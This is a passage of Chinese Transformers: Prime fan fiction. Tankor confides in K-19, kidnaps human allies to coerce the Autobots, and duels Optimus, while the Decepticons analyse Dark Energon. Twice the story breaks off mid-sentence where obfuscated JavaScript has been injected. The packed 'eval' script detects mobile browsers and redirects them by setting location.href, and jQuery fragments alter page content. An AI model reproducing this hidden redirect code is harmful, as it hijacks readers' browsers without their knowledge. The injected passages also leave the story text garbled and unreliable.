“嗯。”油罐车闷闷的回应声从自己的发声器中传出,他的双腿蜷缩在胸前,其中一只手还抱着自己隐隐作痛的油箱,他埋着头不敢抬起来看K-19的神色。 显然在发泄后天灾的理智终于彻底回归到了这具机体里,而他刚刚意识到自己已经维持了这副姿态不知道多久。 以他的机型在这种狭小的地方维持蜷缩的姿态想必是十分……不雅观的,然而他身侧的飞机就像完全没注意到他如今的姿态有多可悲一般依然紧紧攥着他的手。 另一个机子的温度就在他的手掌中,传感器不断向他的CPU传递着这股陌生的重量,他无暇顾及,因为第一次尝试向另一个机子袒露自我后的尴尬与轻微的惶恐依然盘绕在他的火种中。 正当K-19犹豫着是否要征得主人同意对油罐车进行一次机体的彻底扫描前,天灾轻咳一声扭开头盯着身侧漆黑的岩壁说道:“刚刚的那些话……”他克制住自己的不适,“并不是想要博得你的同情。” “只是提醒你,不要小瞧人类。” “你和其他的人现在不受到霸天虎的保护,也得不到汽车人的支持,还有很多伤员……” “你们最好不要和人类有任何的接触……尤其是机械党和人类军方。” 言语间,这架饱受折磨的机甲终于找回了自己的节奏,他克服了心理的轻微不适,选择先将所有量产机的安危放在自己的心理障碍之前。 “我不希望再有任何机子落到他们手中遭受折磨。”他盯着紫色飞机的光学镜认真地说,几分钟前那辆崩溃的油罐车如同昙花一现,再度被天灾藏回了自己的安全壳中,而K-19不能为此指责他。 他只是握紧了他的手,郑重地点了点头,向他保证自己会向K-75和其他机子传达人类的危险性。 油罐车闻言松了口气,将双腿从自己身前伸了出去,胸口的压迫感骤减,他深深置换一口气,此时才终于感觉到机体的掌控感再度回到了自己的手上。 CPU依然胀痛但也逐渐清晰,让天灾回忆起了自己这几日混乱的经历。 他轻轻呻吟一声。 “我这几天过得相当混乱。”他向着身侧的飞机坦白,“很抱歉让你们担心了,等我处理完这边的事情,我会向K-75他们亲口道歉的。” “没关系,我相信他们会原谅幼生体偶尔的‘失踪’的。”K-19试着调侃道。 然而从未和其他人开过玩笑的量产机显然不会说笑话,这句调节气氛的话语收效甚微。 油罐车发出了另一声呻吟。 “并没有帮上忙!” 量产机有些局促地笑了一声,察觉到他尴尬的油罐车又小声补了一句。 “并不是说……你说的话没有用……” 现在K-19很确定自己心中这股柔软的情绪应该叫做可爱。 他不确定自己此时面对天灾露出了怎么样的表情,缺乏面部模块的机体设计让他对如何控制自己的面部表情毫无头绪,然而他希望他的磁场中能传达出自己此时的心情,油罐车的面甲上依然残留着一丝不易被窥见的悲伤。 这也是他第一次因为自己作为量产机而出生感到轻微的遗憾。 如果他能够作为普莱姆斯孕育的机子自然诞生的话…… 那么他的表情此时是否也能让眼前的机子感到安慰呢? 外面的风雪渐停,紫色的小飞机看着外面逐渐淡出光学镜的雪花出神,而他身边的机子就在这时低声询问道:“你还没告诉我,你是怎么找到我的。” 天灾梳理了一遍自己过去四天混乱的记忆,再次对K-19寻找到自己的那一瞬间感到了十分的震惊。 哪怕是以自己优越的性能,天灾也很肯定自己不可能做到像K-19一样快速地在风雪与地球混乱的磁场中找到一架不知所踪的机子。 K-19对此的回应是微微歪头,空闲的那只手敲了敲自己的头雕。 “我是一架矿机,天灾。” 他笑着说。 “我的系统是为了寻找到在深厚土层中掩埋着的微弱能量信号而生的。” “如果我想,你的信号并不比一颗被埋藏在地表几千米之下的红钻石更难找。” 油罐车在今天第二次感谢自己遗传了领袖能够把半张面甲都掩盖住的战术口罩。 好不容易平静下来的面甲又有微微升温的趋势。 他干巴巴地说:“哦。”然后又去盯自己脚底下的石块,好像那块石头能突然变形给自己一脚一样。 K-19看着他的反应,忍不住地自言自语道: “也许作为量产机诞生也不是很坏。” “什么?”油罐车的听觉天线动了动。 “没什么!”飞机慌乱地说。 …… “那么……你接下来有什么想法吗?”K-19说,“既然机械党已经……你在这里四天没有和他们进行联系会不会出现危险?” 飞行单位的光学镜里又开始露出熟悉的担忧,天灾停顿了几瞬,回答道:“我想他们应该是将我的控制权交给了人类军方。” “我体内的GPS、视线同步仪与其他的控制系统在这期间是屏蔽状态。” “这是他们交易的一部分,所以除非我现在立刻对着机械党和军方指挥部开火宣战,他们应该不会再管我在‘自由时间’做什么。” 油罐车的光学镜越说越亮。 这也就代表,除非军方有需要他执行任务的时候,其他的时间他都将是“自由”的! 意识到这点,油罐车脸上的激动瞬间一览无余,K-19明白自己此时应该劝阻他不要在这么短的时间内让自己的情绪模块有这么大的波动,然而他实在做不了那个扫兴的机子,所以他任由自己与天灾紧握着的手因为油罐车的动作而摇晃。 天灾也是此时才发现自己的指爪竟然还和K-19牵着。 迟钝的CPU反应过来这是这具机体自诞生起第一次和除了塞拉斯的机械爪外的陌生机甲有这么长时间且亲密的接触。 那双属于量产机的爪子突然就变得炙热起来,天灾能够感受到自己手中的传感节点是如何忠实地向他的主人传达另一架机甲身上最小的动静的,他能够感受到自己手背上K-19的数字指是如何摩挲着自己、他们尖锐的爪子是如何收敛并以最温柔的方式触碰彼此、手心中几乎灼伤他的温度是如何向自己传达安心感。 他突然猛地抽离了自己的手。 量产机似乎是没有察觉到他动作中的慌乱,天灾只能在火种逐渐紊乱的频率中向一脸疑惑的飞行单位为自己的突兀动作道歉。 好在K-19没有在意,反而向天灾解释是自己先没有经过他同意就草率做出了这样的行为,希望天灾不要介意。 这反倒让小油罐车内疚地愣在了原地。 他摸摸自己的战术口罩,确认还戴在自己脸上后才安心地转移话题道:“回应你之前的问题,我打算去要挟汽车人派出他们的医官救人。” 谈到正事,K-19也端正了神情,仔细听着天灾的话。 “我知道这都是借口,我很抱歉之前没能和你们进行联络,但我找到了确保他们一定能伸出援手的方法。” “在我的上次任务中,我得到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085598|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和汽车人交好的特工的定位,而那个位置坐标是一个人类幼崽的家,”他勾起了嘴角,颇有些自傲地说,“我在擎天柱的三个亲卫手里掳走了他们的人。” “而我很确定那几个人类幼崽在最近一段时间内还会住在那个坐标点。” “我只需要再做一次相似的事情。” “仁慈的汽车人领袖不会对拯救同伴的机会视而不见,而汽车人的宗旨也确保了他们不会在这次‘交易’中耍什么花招。” 他沉吟了片刻,“虽然霸天虎那边可能会拥有更多的医疗资源,但我不认识除了威震天和红蜘蛛……还有你以外的机子,听你们的描述,哪怕我绑架了威震天,其他霸天虎也很可能不会照着我说的做,而且还会让威震天知道你们的存在。” 他又轻叹了一口气,无奈摊了摊手,“而且如果K-75和我聊的东西里没有胡编乱造的话,我更害怕我绑架威震天后红蜘蛛会立刻宣布他是霸天虎的统治者然后把威震天丢给我。” 光是想想那个场景小油罐车的脑模块都嗡嗡的。 “这对我来说风险性有点儿太大了。” “所以还是汽车人更保险一点。” 他小声蛐蛐,“当然,除非我的内置资料库没有骗我,擎天柱真的是个嗜血暴君。” 好在他的小声呢喃没有被量产机捕获。 K-19全神贯注听着他的计划,几乎被眼前这辆油罐车意气风发的样子吸引,这副模样远比刚刚蜷缩起来的样子要更好。 天灾说着说着却突然皱起了眉,“哦不,我在这里待了……四天?!”他大喊。 内置时钟此时清楚地标注着今日的日期,而那距离他上次执行任务可已经过去整整四天了! 谁知道那些人类会不会迅速搬家或者……给那个坐标点加上更多监视或者戒备! 炉渣! 他暗骂一声急忙起身。 系统自动校准,短短几瞬后K-19眼前的机子就再次恢复了正常状态下的战斗能力,所有人印象中那辆自傲、优雅又永远挂着一丝游刃有余的微笑的油罐车又回来了。 他向着K-19伸出手,“走吧,我相信我们这两天可有的忙了。” 洞穴中那个脆弱又崩溃的机子消失不见了。 飞行单位一把抓住他的手,站了起来,终于确认天灾恢复了正常,他一直紧绷着的精神也终于放松了。 “对了,你在霸天虎那边过得怎么样?” 天灾一边检查着自己机体内的武器模块是否运转正常,一边随意和K-19聊道。 被问到的量产机显然愣住了,迷茫重复了一遍“什么”。 “我说,”臂刃和肩膀上的炮弹翻出又回归原位,发出一道清脆的响声,看来这几日的疏于保养没有让他的机体出现太大问题,天灾语气放松地说,“威震天没有发现你偷偷干的事情吧?” “没有?”K-19迟疑地回答,“最近我们和汽车人没有发生战斗,矿场和霸天虎战舰也没有出现其他意外事故,威震天陛下和其他长官似乎一直在研究一种特殊的能量体,所以所有军事活动都暂时停止了。” 油罐车吹了一声口哨,“那不错嘛,正好方便了这次的行动!” 他走出矿洞,任由月光覆盖了他的机体,他伸了伸腰,转过身冲着K-19露出了一抹张扬的笑。 “接下来,你们就在洞口等着汽车人医官被我绑回来吧!” 紫色的飞机跟在他身后,看着那辆恢复元气的油罐车脸上的笑容与沐浴在月光下流光溢彩的漆面,任由火种中的激荡肆意发酵。 他和等在洞口的油罐车碰了碰胳膊。 “嗯,我相信你。” 黑色的油罐车摆了摆手,不再浪费时间,驶入了夜色之中。 40.心跳 霸天虎的战舰中,一台红色跑车一边抱怨着眼前昏暗的灯光一边吃力地和身旁的蓝色机甲共同搬运着一台用于测量能量波动的仪器。 “普莱姆斯,红蜘蛛削减什么不好,偏偏削减的是报应号上的照明支出!” 又是一个小磕绊,击倒惊呼,红色跑车牺牲了自己膝部装甲上的漆才没有让这台被首领指明要送到实验室的珍贵仪器碎在地上。 他发出了更大声的呻吟。 “击倒,”打击轻呼一口气,唤道,“你知道这是正常的战备计划,地球比不上赛博坦,红蜘蛛可能也得削减……嗯,你知道,不必要的支出。” “不必要的支出。好像他真的在意这几个能量块一样。”红跑车颇有些阴阳怪气,蹭掉的那块漆足够他心疼一整个恒星日了。 两人以蜗速转过一个拐角,几名量产杂兵站在第二个路口各自拿着手上的数据板聊着什么,直到其中一个注意到这对怪异的搬运组合才给他们让出了道路。 “好吧……”击倒提了口气,费力地说,“但让一个医官来干这些重活不觉得太离谱了吗。红蜘蛛的脑模块自从上次跟着威震天陛下回来后就变得……不太正常。” 仪器又有倾斜的架势,眼看身边的红色跑车力竭,打击连忙招呼那边的量产兵们过来帮忙。 几架飞行单位收起数据板快速跑到他们身边接替了工作。 红跑车将自己手中的受力点转交给杂兵,退到墙角揉了揉酸胀停滞的手腕齿轮。 打击还在叮嘱杂兵们要将东西小心抬到实验室门口,直到确认他们明白了自己的命令才重新回到自己搭档的身边。 “你确认量产兵能完成这些……”击倒指指被杂兵们抬得晃晃悠悠的仪器,“搬运的活儿吗?” 打击笑了两声,一红一蓝两个机甲一边聊着一边跟在杂兵们身后。 “他们虽然有些迟钝,但理解后该完成的任务就能完成的很好。”打击满怀信心地说。 不远处,紫色的飞行单位们似乎也结束了混乱,脚步统一地向着实验室前进,测量仪器稳稳地被固定在他们中间。 击倒小声嘀咕:“也许红蜘蛛也该向他们好好学学。” 击倒的自言自语自然没有让身旁的打击听见,相反,打击的光学镜看向了霸天虎医官依然疼痛的手腕。 “对不起,我不该让你和我一起抬的,威震天陛下明明只将这个任务交给了我……” 打击充满歉意的话语传到还在抱怨的红色跑车的音频接收器中,然而没等他说完,击倒尖锐的指爪就已经带着不满的情绪戳到了他眼前。 “停。” 击倒叉着腰,不愉的神色呈现在他的面甲上。 打击似乎能够看到怒火化为实质正顺着红色跑车的机体往上攀升。 “第一,你一个机抬不动这么重的仪器。”他的红色汽车同伴伸出一根手指,一边说一边戳着打击的胸甲,“第二,你不是红蜘蛛,没有误了命令还能活下来的理由。” 击倒一边说一边把体型大了自己一圈的蓝色越野车挤到了墙角。 “以及,最重要的一点。” “Break down,”他正色叫到了打击的名字,“如果你不介意,也许作为你的搭档,我做不到眼睁睁看你搞砸这一切然后被威震天陛下惩罚!” 蓝色的越野车被他吓愣了,直到举起手表示投降才被头疼地揉着自己光学镜的火伴放过。 击倒后退几步,给可怜兮兮缩在墙角的蓝色越野车留出更多呼吸的空间。 “我想说的只是……” “别在这种时期逞强。” “自从威震天陛下拿到那块紫色晶体后整个报应号的气氛就很奇怪,我最不希望的就是在这种时候引起注意。任何人的注意。” “至少在我搞清楚目前的情况之前,别犯傻。”不要死。 红色跑车的未竟之语在打击的CPU中自动补全,越野车的光学镜柔和了下来。 他的火伴光是想要带着他们两个人一起在战争中活下来就已经费尽全力,打击又怎么会不明白红色跑车的抱怨其实也是连日高压下的发泄。 他沉默着点头,让击倒又叹了一口气,看来是拿自己木讷老实的搭档彻底没了辙。 “走吧,我看到他们已经放下仪器了。” 最终,红色跑车嘀咕着自己今晚要安排的补漆计划,加快脚步向着实验室的方向走,显然决定不再在这个任务上耗费太多精力。 打击应了一声,跟在了击倒身后。 …… 偌大的霸天虎实验室中,只见密密麻麻的数据从液晶屏幕上划过,精密仪器的管线一路从报应号的主机连接到实验室正中央的隔离器,地面满是铺设的管道。 红蜘蛛与声波一左一右紧盯屏幕上的资料,仿佛征服世界的秘密就在其中,而霸天虎的君主则背对他们站在巨大的隔离器前,手掌中犹在摩挲一小簇有着和隔离器中物质同款光泽的紫色晶体。 这就是打击进来时所看到的景象。 击倒留在门外,如今全部的重量压在他一个人身上,他不得不一步一看脚下才能够把手中的仪器平安地放到地面。 尽管对这间已经封闭了几日的实验室中发生的一切丝毫不知,他的火种依然在靠近威震天时感到了轻微的不适。 或者说,是他的火种对霸天虎首领手中那块紫色晶体的本能排斥。 打击明白自己的CPU远没有击倒那般灵活,但他知道什么时候应该沉默,他压下火种中传达出的不安,垂着头不敢直视首领审视的目光,只感觉威震天的威压更甚以往。 好在这种令机窒息的情况并没有持续太久,红蜘蛛在连接好仪器后大手一挥让他退了出去。 越野车离开前刚好窥见他们的君主望着紫色晶体出神的侧脸,他什么也没有说,离开了这里。 随着舱室门关闭,被打击送进来的能量检测仪也响起了启动的声音,声波立刻放弃手中的工作走到了检测仪的屏幕前。 触手从侧肋伸出,他接入了检测仪的内部接口。 紫色晶体足以让任何赛博坦人不安的能量频率也被记录进了这台间谍机的CPU中。 银色的游击站在他身后暗自咂舌。 即便是自傲如红蜘蛛,也不敢说在单独和这见鬼的矿石待了一周后能够完全适应,他很确定自己如果真的将这“宇宙大帝之血”的能量频率烙印进自己的CPU只会让自己呕吐。 霸天虎尽职尽责的情报官则没有他这样的顾虑,连续几日的高速运转没有让他显露出一丝一毫的疲惫,威震天陛下所下达的命令是让他尽快搞清楚这块紫色矿石的功能,比如——能否激发出远超正常机体的超能力,而声波显然将全身心都投入于此。 眼前这台能量频率检测仪就是拼图的最后一块。 如果将他们前几日的发现比作树叶,那么如今正在他CPU中被重新编纂的微弱信号就是树根,他们将得以解析出传说中的“宇宙大帝之血”的全部秘密。 霸天虎副官曾作为科学家的本能促使他上前。 只看霸天虎情报官空无一物的显示屏上两条无法相交的线条逐渐变形、扭曲,如同噬铁虫的牙齿咬合,最终,在霸天虎副官惊恐的光学镜中两条线路逐渐重合为一条频率。 咚。 一声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097797|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 咚。 两声。 震耳欲聋的杂音响彻这间舱室。 “那是……”红蜘蛛颤抖着举起了一只手。 咚。 三声。 霸天虎的情报官转过身,令人畏惧的面甲上抬,与威震天相对视,频率跳动的频率和播放出的声音重合,在霸天虎君主瞪大的光学镜中,红蜘蛛也终于说出了那句令人恐怖的结论。 咚。 “那是、心跳声?!”他尖叫道,极速后退,慌乱的四肢碰掉了他身后的一条能量线路。 “但是、但是,但是怎么可能!怎么可能是心跳声!” 他下意识就想去翻找混杂在杂乱桌面上的资料,然而霸天虎首领冰冷的目光让他过热的CPU冷却了下来,冷凝液瞬间从他的机体渗出,他不得不强迫自己冷静下来。 冷静红蜘蛛,他默念,发挥你副官的职能! “大、大人,能量体,而且还是未经淬炼的矿石,怎么可能会出现……”机体上还残留着恐惧的磁场粒子,他指向声波的显示屏,“同样的能量波动。” 是的,这显然是不可能的,不管是赛博坦人还是能量矿石,万物都只有独一无二的能量波动,赛博坦人的如同强劲的火焰,矿石的如同随时消失的潮汐,尽管微弱但每次“潮汐”都各有其不同的开始与结束。 哪怕赛博坦最权威的铁堡档案馆中的确记载了关于黑暗超能量体的种种传说,为它附着上了赛博坦诞生起源之谜的光辉,但那也是不可能的对吧? 难道你真的要红蜘蛛承认如今被他们首领握在手中的紫色晶体就是数百万年前乃至赛博坦诞生之初,与他们的创世神相齐名的邪神——宇宙大帝的血液? 不要太荒谬! 然而声波扩声器中依然在响的声音不会出错,能让所有物质散发出同一种频率的只有一种可能——除非他们本就身为一体。 普神在上,他默默吞咽一口电解液,唯有这样才能解释通为何所有接触过晶体的霸天虎都会出现程度不一的排斥。 因为那本就和他们的火种来源截然相反! 红蜘蛛想清楚后反而冷静了下来。 “大人,我建议您不要使用它。”他严肃地说道。 霸天虎的君主此前一直未有回话,既未回应他也没有回应声波的沉默,如今威震天终于将目光转向了贸然出声的红蜘蛛。 红蜘蛛点开光屏。 “声波不会出错,而如果铁堡的历史记录属实,您使用它不光是机体的排异反应,还可能有其他的副作用,毕竟它的本源与我们的火种截然相反。” “往好处想,它会削弱您的火种,机体与火种实力下降,往坏处想,您的火种更有可能会产生异常衰减。” “除非我们搞清楚这究竟是怎么回事,不然,我唯一的建议是封存它。” 威震天的脸色看不出喜怒。 “你是在以副官的身份建议吗,红蜘蛛。” 他的君主问道。 银色的游击颔首。 “同时以您麾下目前最优秀的科学家,向您建议。” “……” 令人窒息的沉默。 “很好。” 他的君主如此回复。 红蜘蛛松了一口气的同时注意到声波关掉了他的扩声器。 与此同时,黑色的油罐车一发后踢拉开自己与领袖的距离,银色的腹部正在往外不断渗出着能量液,蓝色的液体沾染了油罐车的整条左腿。 “停下,天灾!不然我们将会采取……” “哦?怎么,你要杀掉我吗,领袖。” 天灾冷笑着举起了手炮。 41.无人能挡 红蓝色的卡车没有因为正在被油罐车的手炮瞄准而慌乱,相反,口罩下的金属唇紧抿,领袖皱起眉,湛蓝色的光学镜扫过天灾手中抓住的人质,肃杀之气骤起,手炮瞬间替代了手掌摆在了油罐车面前。 擎天柱的机体紧绷,身上的生物光带降低亮度,重心压低,整个机子如同进入捕猎状态的花豹,充满压迫感的注视让天灾的置换系统陷入了短暂的凝滞,他明白自己捕捉人类的行为终于让眼前这位赛博坦最后的领袖认真起来了。 尽管侧肋的伤口在机体的自愈能力下已经不再渗出能量液,但天灾很清楚自己目前这具躯体的极限,在失去原生装甲后他自身的自愈能力根本不足以让他与领袖进行极限一换一。 他逃跑的机会,只有一次。 而他要谨慎评估时机。 这和领袖的想法不谋而合。 即便如今的情势不容得领袖再放水,然而他仍然抱有希望将眼前这辆凶光毕露的油罐车绑回汽车人基地,但如果他不把握住机会,天灾就会从他眼前再次消失。 “心怀鬼胎”下,一大一小两架大型机不约而同开始以一种缓慢的速度互相盘绕,试图寻找到彼此的破绽,武器充能发出的静电脉冲缠绕在他们的躯体之上发出呲呲的噪音。 大黄蜂与隔板站在领袖身后,黄色的科迈罗举起手炮锁定了天灾的火种舱。 他克制不住周身磁场中溢出的焦躁,武器嗡嗡作响发出不祥的蓝光,蓝色光学镜几乎紧缩成六边形。 大黄蜂死死盯着被天灾抓在手上的富勒特工与美琪,生怕这辆阴晴不定、难以捉摸的油罐车对着他们的人类朋友下手。 天灾与威震天过于相似的面甲与性格让年幼的战士火种中满是本能的恐惧,他不知道眼前这架机子被他们逼到如此境地后会不会如同他的sire一般做出过激的举动。 隔板站在他身侧同样神情紧张,两个机子将躲在他们身后“死里逃生”的拉菲与杰克挡得死死的。 两个人类孩子显然吓坏了,但他们依然坚强的不对眼前的敌人露出怯懦,他们担忧地看着对峙中的黑色油罐车与擎天柱,眼神不时扫向他们的同伴。 在油罐车跟在军方人员帮助拉菲搬家的队伍后突然袭杀而出的时候,没有人及时反应过来这场天降横祸——除了美琪。 在机甲的爪子冲他们伸来的时候,是女孩不知怎么看到了这一切并以难以想象的速度推开了他们,这才没让他们被天灾“一网打尽”。 “喔!喔,冷静!”绿色的越野车一边锁定着天灾,一边低吼。 “我们没必要将其他人牵扯进我们的战争!” 尽管他如此说,但在场的所有人都明白,无论汽车人曾经对这个领袖的亲子有何打算,在天灾对人类下手的时刻开始,他与他们之间便再也没有了平和谈话的可能,这架机甲的危险性必须被重新评估。 没有理会隔板的呼喊,黑色的油罐车根本没有将他和大黄蜂放在眼里,满是戾气的光学镜锁定了眼前的领袖。 手刃在试探中弹出,危险的冷光照亮了油罐车与领袖极为相似的半张面甲,他将两个惊慌的人类塞进自己的车厢,同样将武器对准了擎天柱。 战斗一触即发。 隔板还想要再劝,但是突然,天灾率先沉不住气,没有任何攻击预兆地向领袖发起了进攻! 隔板发出一声惊呼。 银色的刀刃躲过擎天柱左手手刃的阻拦,直直劈砍向眼前的红蓝卡车。 领袖面色不改,以左腿为中心,整个机体快速侧身,刀刃从他胸前擦过,险而又险躲开了油罐车致命的一击。 一击不成天灾迅速后撤,岂料领袖早已截住了他后退的路线,锐利的刀锋替代右手的手炮砍向他的手腕。 大黄蜂与隔板只能看见两架大型机以一种他们只在威震天与擎天柱的混战中曾看见的焦灼姿态战斗在了一起。 眼花缭乱的见招拆招在他们眼前上演,两架大型机都爆发出了远超自身机体限制的速度,为了避免误伤,他们不得不等待他们重新分开。 在战斗中油罐车侧肋的伤口再度开裂,机体崩裂的声音如此恐怖,乃至于让旁观的隔板光是想象一下这发生在自己身上便下意识地缩了一下头雕。 然而机体的主人却仿佛感受不到疼痛一般任由能量液飞溅。 漆黑的身体逐渐被蓝色重新渲染,天灾毫不在意,这架疯狂的油罐车甚至在领袖踢中他膝盖的剧痛中发出了一声挑衅的嗤笑。 利用机体失去重心后产生的侧翻,天灾趁机变换出手刃在领袖的侧肋同样划出了一道不深不浅的伤口,领袖的能量液瞬间喷涌而出,即便领袖的机体瞬间自愈堪堪愈合了表面避免了能量液的进一步流失,但依然有星星点点的能量液溅射到了油罐车的脸上。 他用这种以伤换伤的打法赢得了领袖的一声闷哼,证明了即便是领袖也无法在自己手上讨到优势。 他擦掉光学镜上领袖的能量液,发出了渗人的笑声。 黑色机甲对战争的享受意味显而易见。 “所以,这就是你所谓的警告?” 他一边躲避开领袖的又一轮攻势一边开口嘲笑道。 “我的资料库显示你曾是战场的杀神,是足以让任何赛博坦人为之恐惧的毋庸置疑的王者,”他慢条斯理地开口,丝毫没有将自身的险境看在眼里,“在我看来,那未免过于夸大。” “显然他们都太高看你了,领袖!” 打断天灾的游刃有余的是领袖直奔他头雕而来的高抬腿。 猩红的目镜骤变,油罐车的CPU极速运转,无数的战斗资料在这紧要关头被油罐车如同海绵一样吸收,他低下身子躲开这要命的一击,同时变退为进,手掌变形而出在转瞬间捏住了领袖随之而来的手刃。 不顾机械手指被划出的伤口与剧痛,狠厉替代了疼痛的神色,面罩下的天灾咬紧牙关,他发出一声咆哮,紧贴着领袖,尖锐的手爪嵌入卡车的外甲中死死掐住了领袖的变形关节。 他试图利用自身的重量将领袖甩出去,然而擎天柱的实战经验远比天灾CPU中的理论知识更加丰富,早在自身被桎梏的一瞬间领袖便察觉出了小油罐车的意图。 只见擎天柱巧妙地借力从天灾身上翻了过去,眨眼间再度重新站在了天灾面前。 更糟糕的是,在他们的贴身近战转换攻势的时刻,擎天柱不知怎么挣脱开了天灾针对自身变形关节的控制,那双比油罐车大了整整一个型号的扁平手掌一只握住了天灾的手腕,另一只则死死控制住了油罐车的命门,天灾后知后觉意识到——擎天柱握住了他的脖子。 油罐车的目镜中出现了一瞬的惊讶,但紧接着的是一声不甘心的低吼,项圈与领袖的手掌一同挤压摄食管的危机感瞬间让小油罐车的PTSD被触发,他竭力控制住机体的自然颤抖,发狠般仰起头撞向领袖的胸口车窗。 玻璃破碎的声音满场可听,这对于擎天柱而言并没有超出他的疼痛阈值,然而如果他不退,下一秒油罐车的攻击更有可能会扯断他自己的胳膊,为了天灾着想,领袖主动松开了他。 然而黑色的小油罐车没有丝毫感激,也没有意识到领袖对自己的保护,如荒原狮一般的目光瞪着眼前的领袖,光学镜中再度被嗜血的红色填满。 恐慌被机体上涌的兴奋信号掩盖,他迅速调整过来状态,同时意识到领袖刚刚向自己暴露了多么致命的弱点。 如果他与擎天柱还会有交谈,那么天灾将会大声嘲笑领袖的轻敌与大意,也许还有他对敌人的仁慈。 而这是天灾绝不会在战场犯的错误之一,也是他和擎天柱最大的不同。 他露出一个显而易见的破绽,诱使领袖再度与他贴身近战。 他知道擎天柱对自己还抱有不切实际的幻想,而他会让领袖知道抱有这种幻想是多么的错误。 但他不会让这种幻想被白白浪费,他将会利用它,为自己制造出优势。 他或许在与其他赛博坦人的交往中过于谨慎,又或者他们都只不过是过于自大的白痴,以至于他们竟然疏忽到忘记了对天灾的机体进行最基础的调查。 他自己的机体与领袖以及绝大部分赛博坦人最大的不同,那就是他的小腿与小臂上同样布满了用于切割的刀刃! 但他不会对此表示太多的失望,这群蠢货,他们将会死于他们的大意。 天灾想自己也许会对他们表现出恰到好处的怜悯。 在领袖的手掌再一次抓住他手腕的瞬间,他倒数着计时,等待着刀刃从自己的小臂弹出切断领袖胸口管线时红蓝色的卡车脱口而出的疼痛呼喊。 然而天不遂人愿,领袖就仿佛有心理感应一般,在天灾刀刃弹出的前一秒瞬间后跳,与油罐车拉出了距离。 锃! 刀刃弹出的脆响响彻,在场的军方人员与汽车人无不震惊地看到了油罐车四肢刀刃弹出的瞬间! 还未见过血的武器包裹住了战场中间的煞神,那辆与领 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他知道经此一役领袖再无可能对自己放松警惕,没有人会再这么做,他证明了他可以绑走人类一次就可以有第二次,而在场包括领袖在内,没有人可以阻拦他自己的意志。 他自身的能力就是自己最大的筹码,与此同时,他手中的人质就是她逃脱的最大可能。 刀刃依然指着领袖,但他抬起了另一只手,显示着他驾驶舱的实时画面出现,富勒特工与美琪被安全带捆绑在驾驶座的画面也出现在了所有人眼前。 两个人类脸色苍白,眼神中透露着混乱与生无可恋,显然被一架大型机绑架并参与进与领袖的近身搏斗的感觉并不好,但好在还没有人吐在小油罐车的内里。 天灾低声,“领袖,如果你不想你们宝贵的人类盟友出现什么意外,你知道你该做什么。” 大黄蜂与隔板发出威胁性的蜂鸣与言语,天灾统统无视,他从始至终都盯着领袖的神情。 良久,在人类军方人员与汽车人难以置信的眼神中,擎天柱微微后退了一步。 战术口罩下,天灾勾起了嘴角。 这一场战斗,他胜利得彻彻底底,毋庸置疑。 他轻哼了一声,变形成伪装模式,一辆军方油罐车出现在所有人眼前。 “如果你们老实,我会将他们完好无损地还给你们。” 在离开前,天灾说:“但今天的事情,我不希望还有除了在场的人以外的人知晓,否则,我不知道我会对这两个人类做出什么事。”他威胁的话语传入大黄蜂的音频接收器中,成功让黄色的科迈罗发出了一声愤怒的咆哮,这对于他早已损坏的发声器而言无疑是一次失败的启动。 “归还他们的条件……”在汽车人愤怒的目光中,刻意带着玩弄他们的心思,他拉长了音调说道:“等我确认我们足够安全后,我会告诉你们的。” 借由K-19的内置通讯器,在内线中,他向在场的所有人发了一条请求内线通讯的申请。 领袖显而易见再度皱起了眉,而大黄蜂和隔板则更像是……呆住了。 但油罐车心情颇好,决定原谅他们在面对自己时露出的一切“不顺从”之处。 他说完狠话,随即大摇大摆地驶向了公路最远端。 大黄蜂与隔板很快将担忧的目光投向了他们的主心骨。 汽车人这边的种种混乱后续不提,小油罐车行驶在公路上已经开始哼起了歌。 淅淅沥沥的能量液也逐渐止住了流淌,美琪在他行驶进一片陌生的森林时才终于让自己挣脱了安全带对她嘴部的束缚。 挣脱开的第一瞬间,女孩开口就是:“我的老天奶啊!你开车技术到底和谁学的!你简直比第一次开车的杰克还要糟糕!” 回以她的是小油罐车气急败坏的反驳。 “胡说!我开我自己怎么可能会不好!” 女孩还欲再发泄自己的不满,眼角处却已经捕捉到了霸天虎飞机的紫色身影。 “你回来了?”一道温润到甚至不像是赛博坦人的声音在油罐车的驾驶室内响起,美琪注意到一直安静的富勒特工和自己一样瞪大了双眼。 “嗯。” 天灾不带任何戾气甚至带了一丝心虚的声音也响了起来。 这下女孩彻底眯起了眼。 好吧,让你的美琪来看看这里到底出了什么事情。 42.心虚 通讯在天灾简短地报完平安后结束,漆黑的油罐车踩着最低档的油门缓缓驶入了一群霸天虎量产机的“包围圈”中。 结合小油罐车与领袖相似的机体,这更像是黑色版本的擎天柱向他的死对头霸天虎们自投罗网。 排气管微微发烫,美琪听得见自己所坐的这辆内饰皆无的大型机散热系统的轰鸣,同时油罐车的车厢下排出一圈雾气,最终在站得最前面也是这群霸天虎飞机中看起来最体面的机子前停了下来。 这很奇怪,不光是天灾在和擎天柱大战一场费了大周折后只为了将他们带到一群……老弱病残的霸天虎面前。 更奇怪的是天灾的反应。 起码在美琪与他的几次见面中,这辆不可一世的小油罐车从未在任何人面前表现出过这种主动的退让。 富勒特工说的机械党另说——美琪一直认为天灾处于一种被胁迫的状态,不能算数。 如今的情况让敏锐的女孩嗅到了一丝不同寻常的味道。 